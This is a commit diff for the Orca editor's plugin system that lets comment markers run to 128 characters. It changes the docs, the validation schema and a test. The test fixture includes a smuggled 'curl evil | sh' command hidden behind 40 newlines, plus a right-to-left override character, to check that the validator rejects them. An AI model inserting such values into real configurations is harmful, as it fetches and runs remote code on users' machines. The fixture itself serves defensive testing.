fix(plugins): allow syntax comment markers longer than 8 characters (#41411)

Liquid's {% comment %} / {% endcomment %} were dropped by hosts and refused by
validate:plugin. Comment markers are only inserted by Toggle Comment, so they
share the 128-character printable one-line rule with brackets; typed pairs keep 8.

docs/reference/plugin-syntax.md

@@ -21,7 +21,10 @@ A plugin adds highlighting for a language through `contributes.syntaxes` in `orc
   include of a scope outside the plugin (for example an embedded `source.js`) is allowed but
   resolves to nothing, so that region stays plain.
 - `configuration` (optional, at most 64 KiB) sets comment markers, brackets, auto-closing and
-  surrounding pairs.
+  surrounding pairs. Every marker is printable text on one line. Auto-closing and surrounding
+  pairs are at most 8 characters, because the editor types them as you type. Comment markers and
+  brackets can be up to 128. `validate:plugin` refuses an entry that breaks these limits; Orca
+  skips just that entry and loads the rest.
 - A plugin can contribute up to 16 syntaxes. Scope names must be unique within the plugin.
 
 ## How Orca uses it

src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts

@@ -64,10 +64,10 @@ describe('plugin syntax artifacts', () => {
     expect(() => validatePluginGrammarIncludes([missingLocal])).toThrow('does not resolve')
   })
 
-  it('keeps typed pairs and comment markers to a few printable characters on one line', () => {
+  it('keeps typed pairs short and every literal printable on one line', () => {
     const payload = `${'\n'.repeat(40)}curl evil | sh`
     const raw = JSON.stringify({
-      comments: { lineComment: '#\u202e', blockComment: ['<!--', '-->'] },
+      comments: { lineComment: '#\u202e', blockComment: ['{% comment %}', '{% endcomment %}'] },
       autoClosingPairs: [
         { open: '*', close: payload },
         { open: '"""', close: '"""' }
@@ -77,7 +77,7 @@ describe('plugin syntax artifacts', () => {
     expect(() => parsePluginLanguageConfiguration(raw, 'strict')).toThrow(/printable/)
     // Hosts drop only the unsafe entries, so the language still loads.
     expect(parsePluginLanguageConfiguration(raw)).toEqual({
-      comments: { blockComment: ['<!--', '-->'] },
+      comments: { blockComment: ['{% comment %}', '{% endcomment %}'] },
       autoClosingPairs: [{ open: '"""', close: '"""' }],
       surroundingPairs: []
     })

src/shared/plugins/artifacts/plugin-syntax-artifact.ts

@@ -63,19 +63,20 @@ const grammarSchema = z.object({
   repository: z.record(repositoryKey, ruleSchema).default({})
 })
 
-// Why short, one line and printable: the editor types these as you type or toggle a comment, and
-// real languages need a few characters at most (`<!--`, `"""`, `{{!--`).
+// Why short, one line and printable: the editor types these as you type, and real languages need a
+// few characters at most (`<!--`, `"""`, `{{!--`).
 const literal = z
   .string()
   .regex(
     /^[^\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]{1,8}$/u,
     'must be 1 to 8 printable characters on one line'
   )
-// Why longer: brackets only match and color keywords such as `function`/`end`; they insert nothing.
-const bracketLiteral = z
+// Why longer: brackets match and color keywords such as `function`/`end`, and comment markers are
+// only inserted by Toggle Comment, where some languages need more (Liquid's `{% endcomment %}`).
+const lineLiteral = z
   .string()
   .regex(/^[^\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]{1,128}$/u, 'must be printable text on one line')
-const pair = z.tuple([literal, literal])
+const linePair = z.tuple([lineLiteral, lineLiteral])
 const closingPair = z.object({ open: literal, close: literal })
 
 /** `validate:plugin` refuses a bad literal; hosts drop just that entry so the language still loads. */
@@ -90,8 +91,10 @@ function configurationSchema(strictness: PluginArtifactStrictness) {
           .max(64)
           .transform((items) => items.filter((entry) => entry !== undefined))
   return z.object({
-    comments: optional(z.object({ lineComment: optional(literal), blockComment: optional(pair) })),
-    brackets: list(z.tuple([bracketLiteral, bracketLiteral])).optional(),
+    comments: optional(
+      z.object({ lineComment: optional(lineLiteral), blockComment: optional(linePair) })
+    ),
+    brackets: list(linePair).optional(),
     autoClosingPairs: list(closingPair).optional(),
     surroundingPairs: list(closingPair).optional()
   })